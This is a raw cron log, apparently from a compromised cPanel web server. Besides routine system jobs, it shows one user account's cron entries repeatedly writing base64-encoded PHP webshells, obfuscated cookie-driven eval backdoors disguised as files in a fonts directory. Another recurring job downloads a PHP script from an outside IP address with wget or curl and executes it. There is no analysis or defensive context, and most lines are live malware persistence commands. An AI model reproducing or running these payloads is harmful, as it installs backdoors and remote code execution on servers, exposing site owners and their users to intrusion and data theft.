Aug 30 17:20:01 ip-184-168-122-23 CROND[15891]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 17:20:01 ip-184-168-122-23 CROND[15892]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 17:20:01 ip-184-168-122-23 CROND[15895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:20:01 ip-184-168-122-23 CROND[15894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:20:01 ip-184-168-122-23 CROND[15893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:20:01 ip-184-168-122-23 CROND[15896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:20:01 ip-184-168-122-23 CROND[15897]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:20:01 ip-184-168-122-23 CROND[15901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:21:01 ip-184-168-122-23 CROND[16080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:21:01 ip-184-168-122-23 CROND[16078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:21:01 ip-184-168-122-23 CROND[16081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:21:01 ip-184-168-122-23 CROND[16079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:22:01 ip-184-168-122-23 CROND[16162]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:22:01 ip-184-168-122-23 CROND[16163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:22:01 ip-184-168-122-23 CROND[16165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:22:01 ip-184-168-122-23 CROND[16166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:22:01 ip-184-168-122-23 CROND[16167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:23:01 ip-184-168-122-23 CROND[16246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:23:01 ip-184-168-122-23 CROND[16249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:23:01 ip-184-168-122-23 CROND[16250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:23:01 ip-184-168-122-23 CROND[16248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:24:01 ip-184-168-122-23 CROND[16325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:24:01 ip-184-168-122-23 CROND[16327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:24:01 ip-184-168-122-23 CROND[16329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:24:01 ip-184-168-122-23 CROND[16328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:24:01 ip-184-168-122-23 CROND[16331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:25:01 ip-184-168-122-23 CROND[16413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:25:01 ip-184-168-122-23 CROND[16414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:25:01 ip-184-168-122-23 CROND[16419]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:25:01 ip-184-168-122-23 CROND[16416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:25:01 ip-184-168-122-23 CROND[16417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:25:01 ip-184-168-122-23 CROND[16421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:26:01 ip-184-168-122-23 CROND[16500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:26:01 ip-184-168-122-23 CROND[16502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:26:01 ip-184-168-122-23 CROND[16504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:26:01 ip-184-168-122-23 CROND[16505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:26:01 ip-184-168-122-23 CROND[16503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:27:01 ip-184-168-122-23 CROND[16594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:27:01 ip-184-168-122-23 CROND[16595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:27:01 ip-184-168-122-23 CROND[16597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:27:01 ip-184-168-122-23 CROND[16596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:28:02 ip-184-168-122-23 CROND[16801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:28:02 ip-184-168-122-23 CROND[16804]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:28:02 ip-184-168-122-23 CROND[16803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:28:02 ip-184-168-122-23 CROND[16805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:28:02 ip-184-168-122-23 CROND[16809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:29:01 ip-184-168-122-23 CROND[16895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:29:01 ip-184-168-122-23 CROND[16899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:29:01 ip-184-168-122-23 CROND[16897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:29:01 ip-184-168-122-23 CROND[16898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:30:01 ip-184-168-122-23 CROND[17001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:30:01 ip-184-168-122-23 CROND[17002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:30:01 ip-184-168-122-23 CROND[17004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:30:01 ip-184-168-122-23 CROND[17006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:30:01 ip-184-168-122-23 CROND[17008]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:30:01 ip-184-168-122-23 CROND[17009]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:30:01 ip-184-168-122-23 CROND[17010]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 17:30:01 ip-184-168-122-23 CROND[17011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:31:01 ip-184-168-122-23 CROND[17121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:31:02 ip-184-168-122-23 CROND[17122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:31:02 ip-184-168-122-23 CROND[17124]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 17:31:02 ip-184-168-122-23 CROND[17123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:31:02 ip-184-168-122-23 CROND[17127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:32:01 ip-184-168-122-23 CROND[17208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
